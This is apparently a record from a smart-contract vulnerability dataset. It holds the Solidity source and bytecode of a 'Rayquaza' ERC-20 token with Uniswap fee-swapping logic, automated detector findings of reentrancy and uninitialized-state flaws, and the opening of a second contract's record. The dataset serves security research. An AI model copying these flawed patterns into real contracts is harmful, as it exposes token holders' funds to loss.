function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Rayquaza is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Rayquaza";
string private constant _symbol = "Rayquaza";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x48DEDD4c44cC9E38481f10A9B4D8E406a9Dad1E7);
_feeAddrWallet2 = payable(0x48DEDD4c44cC9E38481f10A9B4D8E406a9Dad1E7);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 5;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*7);
_feeAddrWallet2.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612337565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611f40565b6103e4565b604051610162919061231c565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612459565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611eed565b610412565b6040516101ca919061231c565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906124ce565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190611f80565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190611e53565b6106be565b6040516102899190612459565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061224e565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612337565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611f40565b6108c8565b604051610333919061231c565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c9190611ead565b610ebb565b60405161039e9190612459565b60405180910390f35b60606040518060400160405280600881526020017f5261797175617a61000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b600067016345785d8a0000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db85604051806060016040528060288152602001612a0b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c39092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906123d9565b60405180910390fd5b67016345785d8a0000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906123d9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611327565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142c565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906123d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5261797175617a61000000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d8161149a565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906123d9565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612439565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611e80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611e80565b6040518363ffffffff1660e01b8152600401610c09929190612269565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611e80565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d11969594939291906122bb565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d639190611fda565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e65929190612292565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190611fad565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190612419565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102190612379565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111089190612459565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906123f9565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146112b3576003600a819055506005600b8190555060006111fd306106be565b9050601060159054906101000a900460ff1615801561126a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112825750601060169054906101000a900460ff165b156112b1576112908161149a565b6000479050670429d069189e00008111156112af576112ae47611327565b5b505b505b6112be838383611722565b505050565b600083831115829061130b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113029190612337565b60405180910390fd5b506000838561131a919061261f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6007600a846113729190612594565b61137c91906125c5565b9081150290604051600060405180830381858888f193505050501580156113a7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a846113f39190612594565b6113fd91906125c5565b9081150290604051600060405180830381858888f19350505050158015611428573d6000803e3d6000fd5b5050565b6000600854821115611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90612359565b60405180910390fd5b600061147d611732565b9050611492818461175d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d2576114d161277a565b5b6040519080825280602002602001820160405280156115005781602001602082028036833780820191505090505b50905030816000815181106115185761151761274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115ba57600080fd5b505afa1580156115ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f29190611e80565b816001815181106116065761160561274b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061166d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116d1959493929190612474565b600060405180830381600087803b1580156116eb57600080fd5b505af11580156116ff573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61172d8383836117a7565b505050565b600080600061173f611972565b91509150611756818361175d90919063ffffffff16565b9250505090565b600061179f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119d1565b905092915050565b6000806000806000806117b987611a34565b95509550955095509550955061181786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a9c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f881611b44565b6119028483611c01565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161195f9190612459565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a000090506119a667016345785d8a000060085461175d90919063ffffffff16565b8210156119c45760085467016345785d8a00009350935050506119cd565b81819350935050505b9091565b60008083118290611a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0f9190612337565b60405180910390fd5b5060008385611a279190612594565b9050809150509392505050565b6000806000806000806000806000611a518a600a54600b54611c3b565b9250925092506000611a61611732565b90506000806000611a748e878787611cd1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ade83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c3565b905092915050565b6000808284611af5919061253e565b905083811015611b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3190612399565b60405180910390fd5b8091505092915050565b6000611b4e611732565b90506000611b658284611d5a90919063ffffffff16565b9050611bb981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c1682600854611a9c90919063ffffffff16565b600881905550611c3181600954611ae690919063ffffffff16565b6009819055505050565b600080600080611c676064611c59888a611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611c916064611c83888b611d5a90919063ffffffff16565b61175d90919063ffffffff16565b90506000611cba82611cac858c611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611cea8589611d5a90919063ffffffff16565b90506000611d018689611d5a90919063ffffffff16565b90506000611d188789611d5a90919063ffffffff16565b90506000611d4182611d338587611a9c90919063ffffffff16565b611a9c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d6d5760009050611dcf565b60008284611d7b91906125c5565b9050828482611d8a9190612594565b14611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc1906123b9565b60405180910390fd5b809150505b92915050565b600081359050611de4816129c5565b92915050565b600081519050611df9816129c5565b92915050565b600081359050611e0e816129dc565b92915050565b600081519050611e23816129dc565b92915050565b600081359050611e38816129f3565b92915050565b600081519050611e4d816129f3565b92915050565b600060208284031215611e6957611e686127a9565b5b6000611e7784828501611dd5565b91505092915050565b600060208284031215611e9657611e956127a9565b5b6000611ea484828501611dea565b91505092915050565b60008060408385031215611ec457611ec36127a9565b5b6000611ed285828601611dd5565b9250506020611ee385828601611dd5565b9150509250929050565b600080600060608486031215611f0657611f056127a9565b5b6000611f1486828701611dd5565b9350506020611f2586828701611dd5565b9250506040611f3686828701611e29565b9150509250925092565b60008060408385031215611f5757611f566127a9565b5b6000611f6585828601611dd5565b9250506020611f7685828601611e29565b9150509250929050565b600060208284031215611f9657611f956127a9565b5b6000611fa484828501611dff565b91505092915050565b600060208284031215611fc357611fc26127a9565b5b6000611fd184828501611e14565b91505092915050565b600080600060608486031215611ff357611ff26127a9565b5b600061200186828701611e3e565b935050602061201286828701611e3e565b925050604061202386828701611e3e565b9150509250925092565b60006120398383612045565b60208301905092915050565b61204e81612653565b82525050565b61205d81612653565b82525050565b600061206e826124f9565b612078818561251c565b9350612083836124e9565b8060005b838110156120b457815161209b888261202d565b97506120a68361250f565b925050600181019050612087565b5085935050505092915050565b6120ca81612665565b82525050565b6120d9816126a8565b82525050565b60006120ea82612504565b6120f4818561252d565b93506121048185602086016126ba565b61210d816127ae565b840191505092915050565b6000612125602a8361252d565b9150612130826127bf565b604082019050919050565b600061214860228361252d565b91506121538261280e565b604082019050919050565b600061216b601b8361252d565b91506121768261285d565b602082019050919050565b600061218e60218361252d565b915061219982612886565b604082019050919050565b60006121b160208361252d565b91506121bc826128d5565b602082019050919050565b60006121d460298361252d565b91506121df826128fe565b604082019050919050565b60006121f760248361252d565b91506122028261294d565b604082019050919050565b600061221a60178361252d565b91506122258261299c565b602082019050919050565b61223981612691565b82525050565b6122488161269b565b82525050565b60006020820190506122636000830184612054565b92915050565b600060408201905061227e6000830185612054565b61228b6020830184612054565b9392505050565b60006040820190506122a76000830185612054565b6122b46020830184612230565b9392505050565b600060c0820190506122d06000830189612054565b6122dd6020830188612230565b6122ea60408301876120d0565b6122f760608301866120d0565b6123046080830185612054565b61231160a0830184612230565b979650505050505050565b600060208201905061233160008301846120c1565b92915050565b6000602082019050818103600083015261235181846120df565b905092915050565b6000602082019050818103600083015261237281612118565b9050919050565b600060208201905081810360008301526123928161213b565b9050919050565b600060208201905081810360008301526123b28161215e565b9050919050565b600060208201905081810360008301526123d281612181565b9050919050565b600060208201905081810360008301526123f2816121a4565b9050919050565b60006020820190508181036000830152612412816121c7565b9050919050565b60006020820190508181036000830152612432816121ea565b9050919050565b600060208201905081810360008301526124528161220d565b9050919050565b600060208201905061246e6000830184612230565b92915050565b600060a0820190506124896000830188612230565b61249660208301876120d0565b81810360408301526124a88186612063565b90506124b76060830185612054565b6124c46080830184612230565b9695505050505050565b60006020820190506124e3600083018461223f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061254982612691565b915061255483612691565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612589576125886126ed565b5b828201905092915050565b600061259f82612691565b91506125aa83612691565b9250826125ba576125b961271c565b5b828204905092915050565b60006125d082612691565b91506125db83612691565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612614576126136126ed565b5b828202905092915050565b600061262a82612691565b915061263583612691565b925082821015612648576126476126ed565b5b828203905092915050565b600061265e82612671565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126b382612691565b9050919050565b60005b838110156126d85780820151818401526020810190506126bd565b838111156126e7576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129ce81612653565b81146129d957600080fd5b50565b6129e581612665565b81146129f057600080fd5b50565b6129fc81612691565b8114612a0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e48c737bbe063fca7215e1399fbb48beefe87e18ad8b1eb05ac5cec1515c9af64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,392 |
0x3063c77c4ef5c1de185321ae2bc5675e17344f7f
|
/**
*Submitted for verification at Etherscan.io on 2021-11-23
*/
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
